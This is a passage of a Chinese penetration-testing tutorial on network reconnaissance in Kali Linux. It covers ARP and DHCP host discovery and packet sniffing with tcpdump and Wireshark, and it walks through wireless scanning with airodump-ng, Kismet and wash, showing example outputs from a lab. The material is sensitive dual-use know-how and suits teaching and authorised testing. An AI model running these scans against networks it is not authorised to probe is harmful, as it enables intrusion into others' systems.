124.65.194.154 (124.65.194.154) 26.398 ms 7 123.126.0.54 (123.126.0.54) 20.222 ms 19.757 ms 61.51.113.194 (61.51. 113.194) 32.827 ms 8 61.49.168.78 (61.49.168.78) 27.969 ms 123.125.248.110 (123.125.248. 110) 21.597 ms 61.49.168.102 (61.49.168.102) 21.717 ms 9 * * * 10 * * * 11 * * * 12 * * * 13 * * * 14 * * * 15 * * * 16 * * * 17 * * * 18 * * * 19 * * * 20 * * * 21 * * * 22 * * * 23 * * * 24 * * * 25 * * * 26 * * * 27 * * * 28 * * * 29 * * * 30 * * * 在以上输出信息中，每条记录序列号从1开始。其中，每个记录就是一跳，每跳表示一个网关。而且我们还可以看到每行有3个时间，单位是ms。这3个时间表示探测数据包向每个网关发送3个数据包后，网关响应后返回的时间。另外，我们还发现有一些行是以星号表示的。出现这种情况，可能是防火墙封掉了ICMP的返回消息，所以我们无法获取到相关的数据包返回数据。从输出的第一行信息可以看到，已经成功解析出百度服务器的IP地址为61.135.169.125，共经过30跳，包大小为60个字节。从显示的记录中可以看到，经过的路由有192.168.1.1、10.188.0.1、60.220.6.193等。 提示： 在NAT模式下，Traceroute运行存在问题，无法展现上一级的路由信息。 未知 3.2 ARP扫描 ARP（Address Resolution Protocol，地址解析协议）是根据IP地址获取物理地址的一个TCP/IP协议。由于主机进行通信时，将会发送一个包含目标IP地址的ARP请求广播到网络上的所有主机，并接收返回消息，以此确定目标的物理地址，所以可以使用主动和被动两种方式来实施ARP扫描。本节将介绍ARP扫描的方法。"},
    {"text": "未知 3.2.1 主动扫描 主动扫描就是主动发送一个ARP请求包，等待目标主机的响应。如果目标主机响应了该请求后，则说明该主机是活动的；否则，说明目标主机不在线。下面介绍使用Nmap工具的-PR选项实施ARP主动扫描的方法。 使用Nmap工具实施ARP主动扫描的语法格式如下： nmap -PR [目标] 其中，-PR表示实施ARP Ping扫描。 【实例3-8】使用Nmap实施ARP主动扫描。执行命令如下： root@daxueba:~# nmap -PR 192.168.33.152 Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-21 11:49 CST Nmap scan report for 192.168.33.152 (192.168.33.152) Host is up (0.000073s latency). Not shown: 997 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:FD:58:4B (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.21 seconds 从以上输出信息中可以看到，目标主机192.168.33.152是活动的。而且，开放的端口有3个，分别是21、22和80。 1．使用Netdiscover工具 Netdiscover是一个主动/被动的ARP侦查工具。使用该工具可以在网络上扫描IP地址，检查在线主机或搜索为它们发送的ARP请求。下面介绍使用Netdiscover工具实施ARP主动扫描的方法。语法格式如下： netdiscover -r [range] 其中，-r[range]表示指定扫描的网络范围。 【实例3-9】使用Netdiscover工具实施ARP主动扫描。执行命令如下： root@daxueba:~# netdiscover -r 192.168.1.0/24 Currently scanning: Finished! | Screen View: Unique Hosts 6 Captured ARP Req/Rep packets, from 3 hosts. Total size: 360 ________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ---------------------------------------------------------------- 192.168.1.1 70:85:40:53:e0:35 20 1200 Unknown vendor 192.168.1.3 1c:6f:65:c8:4c:89 14 840 GIGA-BYTE TECHNOLOGY CO.,LTD. 192.168.1.41 1c:77:f6:60:f2:cc 5 300 GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD 从以上输出信息中可以看到，扫描到了3台活动主机，地址分别是192.168.1.1、192.168.1.3和192.168.1.41。 2．使用arp-scan工具 arp-scan是一款ARP扫描工具。该工具可以进行单一目标扫描，也可以进行批量扫描。批量扫描的时候，用户可以通过CIDR、地址范围或者列表文件的方式指定。该工具允许用户定制ARP包，构建非标准数据包。同时，该工具会自动解析MAC地址，给出MAC地址对应的硬件厂商，以帮助用户确认目标。其中，使用arp-scan工具扫描的语法格式如下： arp-scan [目标] 【实例3-10】使用arp-scan工具对目标主机192.168.1.3实施扫描。执行命令如下： root@daxueba:~# arp-scan 192.168.1.3 Interface: eth0, datalink type: EN10MB (Ethernet) Starting arp-scan 1.9.5 with 1 hosts (https://github.com/royhills/arp-scan) 192.168.1.3 1c:6f:65:c8:4c:89 GIGA-BYTE TECHNOLOGY CO.,LTD. 1 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.9.5: 1 hosts scanned in 0.590 seconds (1.69 hosts/sec). 1 responded 从以上的输出信息中可以看到，目标主机是活动的。此外，还可以看到该目标主机的MAC地址为1c:6f:65:c8:4c:89，网卡生产厂商为GIGA-BYTE TECHNOLOGY CO.,LTD。 3．使用Arping工具 Arping是一个ARP级别的Ping工具，主要用来向局域网内的其他主机发送ARP请求的指令。使用该工具可以测试局域网内的某个IP地址是否已被使用。Arping工具的语法格式如下： arping -c <count> [目标] 其中，-c<count>表示指定发送的ARP包数。 【实例3-11】使用Arping工具实施ARP扫描，并发送一个ARP请求包。执行命令如下： root@daxueba:~# arping -c 1 192.168.33.147 ARPING 192.168.33.147 60 bytes from 00:0c:29:3e:84:91 (192.168.33.147): index=0 time=238.821 usec --- 192.168.33.147 statistics --- 1 packets transmitted, 1 packets received, 0% unanswered (0 extra) rtt min/avg/max/std-dev = 0.239/0.239/0.239/0.000 ms 从以上输出信息中可以看到，收到了目标主机返回的一个响应包，由此可以说明目标主机是活动的。如果目标主机不在线，将显示如下信息： root@daxueba:~# arping -c 1 192.168.33.128 ARPING 192.168.33.128 Timeout --- 192.168.33.128 statistics --- 1 packets transmitted, 0 packets received, 100% unanswered (0 extra) 从输出的信息中可以看到，返回的消息为Timeout（超时）。"},
    {"text": "未知 3.2.2 被动扫描 被动扫描是通过长期监听ARP广播，来发现同一局域网中的活动主机。Netdiscover工具既可以以主动模式扫描主机，也可以以被动模式嗅探存活的主机。下面介绍使用Netdiscover工具实施被动扫描的方法。 Netdiscover工具实施被动扫描的语法格式如下： netdiscover -p 其中，-p：被动模式（passive mode），不发送任何数据包，仅嗅探。 【实例3-12】使用Netdiscover工具实施被动扫描。执行命令如下： root@daxueba:~# netdiscover -p 执行以上命令后，将显示如下信息： Currently scanning: (passive) | Screen View: Unique Hosts 39 Captured ARP Req/Rep packets, from 3 hosts. Total size: 2340 _________________________________________________________________ IP At MAC Address Coun Len MAC Vendor / Hostname ----------------------------------------------------------------- 192.168.1.1 70:85:40:53:e0:35 20 1200 Unknown vendor 192.168.1.3 1c:6f:65:c8:4c:89 14 840 GIGA-BYTE TECHNOLOGY CO.,LTD. 192.168.1.41 1c:77:f6:60:f2:cc 5 300 GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD 从输出的第1行信息中，可以看到正在使用被动模式（passive）实施扫描。从第2行信息中，可以看到嗅探到的包数、主机数及包大小。第3行以下的信息则是嗅探到的包信息。在该部分中共包括6列，分别是IP（IP地址）、At MAC Address（MAC地址）、Count（包数）、Len（长度）、MAC Vendor（MAC地址生产厂商）和Hostname（主机名）。通过分析捕获到的包，可以知道当前局域网中活动的主机IP地址、MAC地址及MAC地址的生产厂商等。例如，主机192.168.13的MAC地址为1c:6f:65:c8:4c:89，MAC地址厂商为GIGA-BYTE，主机名为TECHNOLOGY CO.,LTD.。如果用户不想要继续扫描的话，可以按快捷键Ctrl+C停止被动扫描。 未知 3.2.3 设备MAC查询 通过对目标主机实施ARP扫描后，可以获取到目标主机的MAC地址，以及MAC生产厂商。但有一些设备无法获取到其生产厂商，此时可以到 https://mac.51240.com/ 网站进行查询，以获取更详细的信息。 【实例3-13】查询设备MAC地址的详细信息。具体操作步骤如下： （1）在浏览器中输入MAC地址查询网址 https://mac.51240.com/ 。访问成功后，将显示如图3.1所示的界面。 图3.1 MAC地址查询 （2）在图3.1所示的“MAC地址”文本框中输入要查询的MAC地址，并单击“查询”按钮即可获取到对应信息。其中，输入的MAC地址格式为00-01-6C-A6-29或00:01:6C:06:A6:29。例如，这里查询MAC地址为70:85:40:53:e0:35的信息，查询结果如图3.2所示。 （3）从图3.2中可以看到获取到的MAC相关信息，包括组织名称、国家/地区、省份、城市、街道和邮编。 图3.2 查询结果 未知 3.3 DHCP被动扫描 DHCP（Dynamic Host Configuration Protocol，动态主机配置协议）是一个局域网的网络协议，主要作用就是给内部网或网络服务供应商自动分配IP地址。当一个客户端需要获取一个IP地址时，将会向DHCP服务器发送广播包，收到请求的服务器会提供一个可用的IP地址给客户端，所以可以监听该协议的包。本节将介绍实施DHCP被动扫描的方法。"},
    {"text": "未知 3.3.1 DHCP工作机制 DHCP协议采用UDP作为传输协议，主机发送请求消息到DHCP服务器的67号端口，DHCP服务器回应应答消息给主机的68号端口。DHCP协议的具体工作流程如图3.3所示。 图3.3 DHCP工作流程 DHCP工作流程的详细交互过程如下： （1）DHCP客户端以广播的方式发出DHCP Discover报文。 （2）所有的DHCP服务器都能够接收到DHCP客户端发送的DHCP Discover报文，所有的DHCP服务器都会给出响应，向DHCP客户端发送一个DHCP Offer报文。DHCP Offer报文中Your(Client)IP Address字段就是DHCP服务器能够提供给DHCP客户端使用的IP地址，且DHCP服务器会将自己的IP地址放在Option字段中以便DHCP客户端区分不同的DHCP服务器。DHCP服务器在发出此报文后会存在一个已分配IP地址的记录。 （3）DHCP客户端只能处理其中的一个DHCP Offer报文，一般的原则是DHCP客户端处理最先收到的DHCP Offer报文。DHCP客户端会发出一个广播的DHCP Request报文，在选项字段中会加入选中的DHCP服务器的IP地址和需要的IP地址。 （4）DHCP服务器收到DHCP Request报文后，判断选项字段中的IP地址是否与自己的地址相同。如果不相同，DHCP服务器不做任何处理只清除相应IP地址分配记录。如果相同，DHCP服务器就会向DHCP客户端响应一个DHCP ACK报文，并在选项字段中增加IP地址的使用租期信息。 （5）DHCP客户端接收到DHCP ACK报文后，检查DHCP服务器分配的IP地址是否能够使用。如果可以使用，则DHCP客户端成功获得IP地址，并根据IP地址使用租期自动启动续延过程。如果DHCP客户端发现分配的IP地址已经被使用，则DHCP客户端向DHCP服务器发出DHCP Decline报文，通知DHCP服务器禁用这个IP地址。然后，DHCP客户端将开始新的地址申请过程。 （6）DHCP客户端在成功获取IP地址后，随时可以通过发送DHCP Release报文释放自己的IP地址。DHCP服务器收到DHCP Release报文后，会回收相应的IP地址并重新分配。"},
    {"text": "未知 3.3.2 被动扫描 通过对DHCP协议的工作流程进行分析可知，当客户端请求获取IP地址时，会发送一个DHCP Discover广播包，此时，局域网中的所有主机都可以收到该数据包。"},
    {"text": "使用broadcast-dhcp-discover脚本实施被动扫描的语法格式如下： nmap --script broadcast-dhcp-discover 【实例3-14】使用broadcast-dhcp-discover脚本向局域网中发送DHCP Discover广播包。 执行命令如下： root@daxueba:~# nmap --script broadcast-dhcp-discover Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-30 18:30 CST Pre-scan script results: | broadcast-dhcp-discover: | Response 1 of 1: | IP Offered: 192.168.33.156 #提供的IP地址 | DHCP Message Type: DHCPOFFER #DHCP消息类型 | Server Identifier: 192.168.33.254 #服务器标识符 | IP Address Lease Time: 30m00s #IP地址释放时间 | Subnet Mask: 255.255.255.0 #子网掩码 | Router: 192.168.33.2 #路由地址 | Domain Name Server: 192.168.33.2 #域名服务 | Domain Name: localdomain #域名 | Broadcast Address: 192.168.33.255 #广播地址 | NetBIOS Name Server: 192.168.33.2 #NetBIOS名称服务 | Renewal Time Value: 15m00s #更新时间值 |_ Rebinding Time Value: 26m15s #第二次选择时间值 WARNING: No targets were specified, so 0 hosts scanned. Nmap done: 0 IP addresses (0 hosts up) scanned in 1.32 seconds 从以上输出信息中可以看到，可以提供的IP地址为192.168.33.156。"},
    {"text": "2．使用dhcpdump工具 dhcpdump是一个命令行格式的DHCP流量嗅探工具，可以捕获DHCP的请求/回复流量，并以用户友好的方式显示解码的DHCP协议消息。"},
    {"text": "执行命令如下： root@daxueba:~# dhcpdump -i eth0 TIME: 2019-01-02 17:33:29.634 #时间 IP: 0.0.0.0 (0:c:29:fd:58:4b) > 255.255.255.255 (ff:ff:ff:ff:ff:ff) #IP地址 OP: 1 (BOOTPREQUEST) #报文类型 HTYPE: 1 (Ethernet) #客户端的网络硬件地址类型 HLEN: 6 #客户端的网络硬件地址长度 HOPS: 0 #跳数 XID: 5a162962 #事务ID SECS: 0 #秒数 FLAGS: 0 #标志 CIADDR: 0.0.0.0 #客户端自己的IP地址 YIADDR: 0.0.0.0 #你的IP地址 SIADDR: 0.0.0.0 #服务器的IP地址 GIADDR: 0.0.0.0 #中继代理IP地址 CHADDR: 00:0c:29:fd:58:4b:00:00:00:00:00:00:00:00:00:00 #客户端硬件地址 SNAME: . #服务器的主机名 FNAME: . #启动文件名 OPTION: 53 ( 1) DHCP message type 3 (DHCPREQUEST) #选项 OPTION: 12 ( 7) Host name daxueba OPTION: 55 ( 16) Parameter Request List 1 (Subnet mask) 28 (Broadcast address) 2 (Time offset) 3 (Routers) 15 (Domainname) 6 (DNS server) 119 (Domain Search) 12 (Host name) 44 (NetBIOS name server) 47 (NetBIOS scope) 26 (Interface MTU) 121 (Classless Static Route) 42 (NTP servers) 249 (MSFT - Classless route) 33 (Static route) 252 (MSFT - WinSock Proxy Auto Detect) ---------------------------------------------------------- TIME: 2019-01-02 17:33:29.634 #时间 IP: 192.168.33.254 (0:50:56:f7:d0:3e) > 192.168.33.152 (0:c:29:fd:58:4b) #IP地址 OP: 2 (BOOTPREPLY) #报文类型 HTYPE: 1 (Ethernet) #客户端的网络硬件地址类型 HLEN: 6 #客户端的网络硬件地址长度 HOPS: 0 #跳数 XID: 5a162962 #事务ID SECS: 0 #秒数 FLAGS: 0 #标志 CIADDR: 0.0.0.0 #客户端自己的IP地址 YIADDR: 192.168.33.152 #你的IP地址 SIADDR: 192.168.33.254 #服务器的IP地址 GIADDR: 0.0.0.0 #中继代理IP地址 CHADDR: 00:0c:29:fd:58:4b:00:00:00:00:00:00:00:00:00:00 #客户机硬件地址 SNAME: . #服务器的主机名 FNAME: . #启动文件名 OPTION: 53 ( 1) DHCP message type 5 (DHCPACK) #选项 OPTION: 54 ( 4) Server identifier 192.168.33.254 OPTION: 51 ( 4) IP address leasetime 1800 (30m) OPTION: 1 ( 4) Subnet mask 255.255.255.0 OPTION: 28 ( 4) Broadcast address 192.168.33.255 OPTION: 3 ( 4) Routers 192.168.33.2 OPTION: 15 ( 11) Domainname localdomain OPTION: 6 ( 4) DNS server 192.168.33.2 OPTION: 44 ( 4) NetBIOS name server 192.168.33.2 ---------------------------------------------------------- 以上输出的信息，就是一个DHCP请求及响应包信息。"},
    {"text": "在图形界面依次选择“应用程序”|“嗅探/欺骗”|wireshark命令，将弹出如图3.4所示对话框。 或者，在命令行输入如下命令： root@daxueba:~# wireshark 执行以上命令后，将弹出如图3.4所示对话框。"},
    {"text": "这是因为Wireshark工具是使用Lua语言编写的，并且在Kali Linux中的init.lua文件中有一处语法错误，所以会提示Lua:Error during loading:。 此时只需要将init.lua文件中倒数第二行代码修改一下就可以了，原文件中倒数第一、二行代码如下： root@daxueba:~# vi /usr/share/wireshark/init.lua dofile(DATA_DIR..\"console.lua\") --dofile(DATA_DIR..\"dtd_gen.lua\") 将以上第1行修改如下： --dofile(DATA_DIR..\"console.lua\") --dofile(DATA_DIR..\"dtd_gen.lua\") 修改完该内容后，再次运行Wireshark将不会提示以上警告信息。"},
    {"text": "显示过滤器的语法格式如下： ip.dst==广播地址 在本例中广播地址为192.168.33.255，所以输入的显示过滤器为“ip.dst==192.168.33.255”。"},
    {"text": "图3.6 监听到的数据包 图3.7 广播数据包 2．使用Tcpdump工具 Tcpdump是一个命令行的嗅探工具，可以基于过滤表达式抓取网络中的报文，分析报文，并且在包层面输出报文内容以便于包层面的分析。 其中，使用Tcpdump工具监听数据包的语法格式如下： tcpdump -i < interface >-w <file> 以上语法中的选项及含义如下： ·-i：指定监听的网络接口。"},
    {"text": "执行命令如下： root@daxueba:~# tcpdump -i eth0 'dst 192.168.33.255' 执行以上命令后，将显示如下信息： tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes 16:42:08.253592 IP 192.168.33.1.netbios-ns > 192.168.33.255.netbios-ns: NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST 16:42:09.003718 IP 192.168.33.1.netbios-ns > 192.168.33.255.netbios-ns: NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST 16:42:09.753975 IP 192.168.33.1.netbios-ns > 192.168.33.255.netbios-ns: NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST 16:43:40.623859 IP 192.168.33.147.netbios-dgm > 192.168.33.255.netbios-dgm: NBT UDP PACKET(138) 16:43:40.623967 IP 192.168.33.147.netbios-dgm > 192.168.33.255.netbios-dgm: NBT UDP PACKET(138) 16:55:47.618389 IP 192.168.33.147.netbios-dgm > 192.168.33.255.netbios-dgm: NBT UDP PACKET(138) 16:55:47.618562 IP 192.168.33.147.netbios-dgm > 192.168.33.255.netbios-dgm: NBT UDP PACKET(138) 16:58:20.188490 IP 192.168.33.1.netbios-ns > 192.168.33.255.netbios-ns: NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST 16:58:20.939089 IP 192.168.33.1.netbios-ns > 192.168.33.255.netbios-ns: NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST 16:58:21.689402 IP 192.168.33.1.netbios-ns > 192.168.33.255.netbios-ns: NBT UDP PACKET(13 7): QUERY; REQUEST; BROADCAST 从以上输出信息中可以看到监听到的数据包。"},
    {"text": "如果想停止监听数据包的话，按Ctrl+C组合键后，将显示如下信息： ^C 10 packets captured 10 packets received by filter 0 packets dropped by kernel 从输出的信息中可以看到，捕获到了10个数据包。"},
    {"text": "未知 第4章 无线网络扫描 无线网络（Wireless network）是一种特殊的局域网，也就是人们常说的Wi-Fi网络。由于它采用无线方式传输数据，所以扫描方式也有所不同。本章将介绍实施无线网络扫描的方法。 未知 4.1 无线网络概述 无线网络是采用无线通信技术实现的网络。无线网络既包括允许用户建立远距离无线连接的全球语言和数据网络，也包括为近距离无线连接进行优化的红外线技术及射频技术，与有线网络的用途十分类似。无线网络与有线网络最大的不同在于传输媒介，无线网络利用无线电技术取代网线，可以和有线网络互为备份。本节将对无线网络的构成、类型及工作原理进行介绍。 未知 4.1.1 无线网络构成 无线网络的构成非常简单，只需要一个AP和一个客户端即可，如图4.1所示。 图4.1 无线网络的构成 在无线网络中，每个设备的含义如下： ·站点（Station，STA）：网络最基本的组成部分，通常是指无线客户端，如手机、笔记本电脑。 ·接入点（Access Point，AP）：无线接入点既有普通有线接入点的能力，又有接入到上一层网络的能力。其实AP和无线路由器是有区别的，相比来说，无线路由器的功能更多。不过在基本功能上，两者并无实质性的区别，所以通常将无线路由器也称之为AP。 未知 4.1.2 无线网络类型 一般情况下，无线网络有3种网络拓扑结构，分别是独立基本服务集（Independent BSS，IBSS）网络（也叫Ad-Hoc网络）、基本服务集（Basic Service Set，BSS）网络和扩展服务集（Extent Service Set，ESS）网络。下面将分别介绍这3种网络拓扑结构类型。 1．Ad-Hoc网络 Ad-Hoc无线局域网是一种省去了无线中间设备AP而搭建起来的对等结构网络，只要在计算机上安装了无线网卡，计算机之间即可实现无线互联，如图4.2所示。在Ad-Hoc无线局域网中，所有的节点都是移动主机，STA之间直接通信，构成独立基本服务集（IBSS）。 图4.2 Ad-Hoc网络 2．BSS网络 基本服务单元（Basic Service Set，BSS）是网络最基本的服务单元。最简单的服务单元可以只有两个无线客户端组成，就好比对等网。客户端可以动态地连接到基本服务单元中，如图4.3所示。 图4.3 BSS网络 3．ESS网络 扩展服务单元（Extended Service Set，ESS）是由分配系统和基本服务单元组合而成。这种组合是逻辑上的，如图4.4所示。其中，ESS中的DS（分布式系统）是一个抽象系统，用来连接不同BSS的通信信道（通过路由服务），这样就可以消除BSS中STA与STA之间直接传输距离受到物理设备限制的问题。 图4.4 ESS网络 对于个人PC来说，以上3种网络结构中，使用最多的就是BSS网络模式，用户通过AP（Access Point）接入点来接入网络。 未知 4.1.3 无线网络工作原理 无线网络的设置至少需要一个Access Point（AP），以及一个或一个以上的客户端。AP每100ms将SSID（Service Set Identifier，服务集标识）经由Beacons（信号台）封包广播一次。Beacons封包的传输速率是1Mbit/s，并且长度相当短，所以这个广播动作对网络性能的影响不大。因为Wi-Fi规定的最低传输速率也是1Mbit/s，以确保Wi-Fi客户端都能收到这个SSID广播封包，而客户端可以借此决定是否要和这一个SSID的AP连线。 未知 4.2 发现网络 当我们对无线网络的环境了解清楚后，就可以对其实施扫描了。本节将介绍扫描无线网络的方法。"},
    {"text": "未知 4.2.1 使用Airodump-ng工具 Airodump-ng是Aircrack-ng工具集中的一个工具，可以用来扫描无线网络。 通过使用Airodump-ng工具实施扫描，可以获取到AP的相关信息，如SSID名称、MAC地址、工作信道及加密方式等。 下面将介绍使用Airodump-ng工具扫描网络的方法。 【实例4-1】使用Airodump-ng工具扫描AP。"},
    {"text": "执行命令如下： root@daxueba:~# ifconfig eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.33.154 netmask 255.255.255.0 broadcast 192.168.33.255 inet6 fe80::20c:29ff:fe17:5f2b prefixlen 64 scopeid 0x20<link> ether 00:0c:29:17:5f:2b txqueuelen 1000 (Ethernet) RX packets 41021 bytes 4577437 (4.3 MiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 78667 bytes 4843255 (4.6 MiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 10679 bytes 463098 (452.2 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 10679 bytes 463098 (452.2 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 wlan0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500 ether a6:48:13:7d:01:be txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 从以上输出的信息中可以看到有3个接口，分别是eth0、lo和wlan0。"},
    {"text": "执行命令如下： root@daxueba:~# airmon-ng start wlan0 PHY Interface Driver Chipset phy0 wlan0 rt2800usb Ralink Technology, Corp. RT5370 (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon) (mac80211 station mode vif disabled for [phy0]wlan0) 从以上输出信息中可以看到，已经成功启动了监听模式。"},
    {"text": "执行命令如下： root@daxueba:~# airodump-ng wlan0mon CH 7 ][ Elapsed: 18 s ][ 2019-01-03 17:07 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 70:85:40: -40 16 754 0 3 130 WPA2 CCMP PSK CU_655w 53:E0:3B 14:E6:E4: -54 5 0 0 6 270 WPA2 CCMP PSK Test 84:23:7A C8:3A:35: -59 6 0 0 6 270 WPA2 CCMP PSK Tenda_5D2B90 5D:2B:90 80:89:17: -65 6 0 0 11 405 WPA2 CCMP PSK TP-LINK_A1B8 66:A1:B8 74:7D:24: -70 9 0 0 1 130 WPA2 CCMP PSK @PHICOMM_46 C1:C4:48 C0:D0:FF: -79 3 0 0 5 130 WPA2 CCMP PSK CMCC-f5CV 1B:F2:E0 BSSID STATION PWR Rate Lost Frames Probe 70:85:40:53:E0:3B 4C:C0:0A:E9:F4:2B -56 0e-6e 0 758 从以上输出信息中可以看到附近所有可用的无线AP及连接的客户端信息。"},
    {"text": "如果一个BSSID的PWR是-1，说明网卡的驱动不支持报告信号水平。 如果部分客户端的PWR为-1，那么说明该客户端不在当前网卡能监听到的范围内，但是能捕获到AP发往客户端的数据。 如果所有的客户端PWR值都为-1，那么说明网卡驱动不支持信号水平报告。"},
    {"text": "·Beacons：无线AP发出的通告编号，每个接入点（AP）在最低速率（1Mbit/s）时差不多每秒会发送10个左右的Beacon，所以它们在很远的地方就会被发现。"},
    {"text": "常用的有MGT（WPA/WPA2使用独立的认证服务器，平时我们常说的802.1x，Radius、EAP等），SKA（WEP的共享密钥），PSK（WPA/WPA2的预共享密钥）或者OPN（WEP开放式）。"},
    {"text": "它意味着从客户端来的数据丢包，每个非管理帧中都有一个序列号字段，把刚接收到的那个帧中的序列号和前一个帧中的序列号一减，就可以知道丢了几个包。"},
    {"text": "未知 4.2.2 使用Kismet工具 Kismet是一个基于Linux的无线网络扫描程序。这是一个非常方便的工具，通过监测周围的无线信号，可以扫描到附近所有可用的AP及所使用的信道等。下面将介绍使用Kismet工具扫描无线网络的方法。 【实例4-2】使用Kismet工具扫描无线网络。具体操作步骤如下： （1）启动Kismet工具。执行命令如下： root@daxueba:~# kismet 执行以上命令后，将显示如图4.5所示的界面。 （2）在图4.5中可以设置是否是用终端默认的颜色。因为Kismet默认颜色是灰色，可能一些终端不能显示。这里不使用默认的颜色，所以单击No按钮，将进入如图4.6所示的界面。 （3）图4.6中提示正在使用root用户运行Kismet工具，并且显示的字体颜色不是灰色，而是白色的。此时，单击OK按钮，将进入如图4.7所示的界面。 图4.5 终端颜色 图4.6 使用root用户运行Kismet 图4.7 自动启动Kismet服务 （4）图4.7中提示是否要自动启动Kismet服务。这里选择Yes，将进入如图4.8所示的界面。 （5）此时要求设置Kismet服务的一些信息。这里使用默认设置，单击Start按钮，将进入如图4.9所示的界面。 图4.8 启动Kismet服务 图4.9 添加包资源 （6）在图4.9中询问是否现在添加没有被定义的包资源。这里选择Yes，将进入如图4.10所示的界面。 （7）在图4.10中指定无线网卡接口和描述信息。在Intf文本框中，输入无线网卡接口。如果无线网卡已处于监听模式，可以输入wlan0或wlan0mon。其他配置信息可以不用设置。单击Add按钮，将进入如图4.11所示的界面。 （8）在其中单击Close Console Window按钮，将进入如图4.12所示的界面。 图4.10 添加资源 图4.11 关闭控制台窗口 （9）从图4.12中可以看到捕获到的AP信息。其中包括3部分，第一部分显示AP信息，第二部分显示客户端信息，第三部分显示警告信息。在其右侧显示了捕获包的时间、扫描到的网络数和包数等。从第一部分可以看到扫描到的所有AP。例如，开放的无线网络由Meizu、Test和Tenda_5D2B90等。如果不需要再进行网络扫描的话，则需要手动停止扫描。在Kismet的菜单栏中依次选择Kismet|Quit命令，如图4.13所示。 图4.12 扫描到的Wi-Fi信号 （10）此时将弹出如图4.14所示的对话框。 图4.13 退出Kismet 图4.14 停止Kismet服务 （11）在图4.14中有两个按钮，分别是Background（后台运行）按钮和Kill（结束服务）按钮。这里单击Kill按钮，将停止Kismet服务并退出终端模式。此时，终端将会显示一些日志信息，具体如下： *** KISMET CLIENT IS SHUTTING DOWN *** [SERVER] INFO: Stopped source 'wlan0mon' [SERVER] [SERVER] *** KISMET IS SHUTTING DOWN *** [SERVER] ERROR: TCP server client read() ended for 127.0.0.1 [SERVER] INFO: Closed pcapdump log file 'Kismet-20190103-17-15-33-1. pcapdump', 7557 [SERVER] logged. [SERVER] INFO: Closed netxml log file 'Kismet-20190103-17-15-33-1.netxml', 11 [SERVER] logged. [SERVER] INFO: Closed nettxt log file 'Kismet-20190103-17-15-33-1.nettxt', 11 [SERVER] logged. [SERVER] INFO: Closed gpsxml log file 'Kismet-20190103-17-15-33-1.gpsxml', 0 logged. [SERVER] INFO: Closed alert log file 'Kismet-20190103-17-15-33-1.alert', 1 logged. [SERVER] INFO: Shutting down plugins... [SERVER] Shutting down log files... [SERVER] ERROR: Not creating a VIF for wlan0mon even though one was requested, since the [SERVER] interface is already in monitor mode. Perhaps an existing monitor mode [SERVER] VIF was specified. To override this and create a new monitor mode VIF [SERVER] no matter what, use the forcevif=true source option [SERVER] WARNING: Kismet changes the configuration of network devices. [SERVER] In most cases you will need to restart networking for [SERVER] your interface (varies per distribution/OS, but [SERVER] usually: /etc/init.d/networking restart [SERVER] [SERVER] Kismet exiting. Spawned Kismet server has exited *** KISMET CLIENT SHUTTING DOWN. *** Kismet client exiting. 从以上信息的KISMET IS SHUTTING DOWN部分中可以看到关闭了几个日志文件。这些日志文件，默认保存在/root/目录下。在这些日志文件中，显示了生成日志的时间。当运行Kismet很多次或运行了几天时，可以根据这些日志的时间快速判断出哪个日志文件是最近生成的。"},
    {"text": "未知 4.2.3 使用Wash工具 Wash是一款WPS（WiFi Protected Setup，Wi-Fi保护设置）扫描工具。该工具主要用来扫描、启用WPS功能的无线网络。使用-a选项，可以扫描出所有的无线网络，即使没有启用WPS功能。 使用Wash工具扫描无线网络的语法格式如下： wash -a -i <interface> 以上语法中的选项及含义如下： ·-a：显示所有AP。 ·-i：指定监听接口。 【实例4-3】使用Wash工具扫描无线网络。执行命令如下： root@daxueba:~# wash -a -i wlan0mon BSSID Ch dBm WPS Lck Vendor ESSID -------------------------------------------------------------- 74:7D:24:C1:C4:48 1 -69 RalinkTe @PHICOMM_46 70:85:40:53:E0:3B 3 -25 2.0 No RalinkTe CU_655w C0:D0:FF:1B:F2:E0 5 -79 RalinkTe CMCC-f5CV 14:E6:E4:84:23:7A 6 -51 AtherosC Test C8:3A:35:5D:2B:90 6 -55 Broadcom Tenda_5D2B90 08:10:78:75:0F:DD 6 -55 2.0 No RealtekS Netcore 80:89:17:66:A1:B8 11 -71 AtherosC TP-LINK_A1B8 从以上输出信息中可以看到扫描出的所有无线网络。在以上信息中共包括6列，分别是BSSID（AP的MAC地址）、Ch（AP的工作信道）、dBm（接收的信号强度）、WPS（WPS版本）、Lck（WPS锁定）、Vendor（生产厂商）和ESSID（AP的SSID）。从显示的信息可以看到，ESSID显示了开放的所有无线网络。 未知 4.2.4 使用Wireshark工具 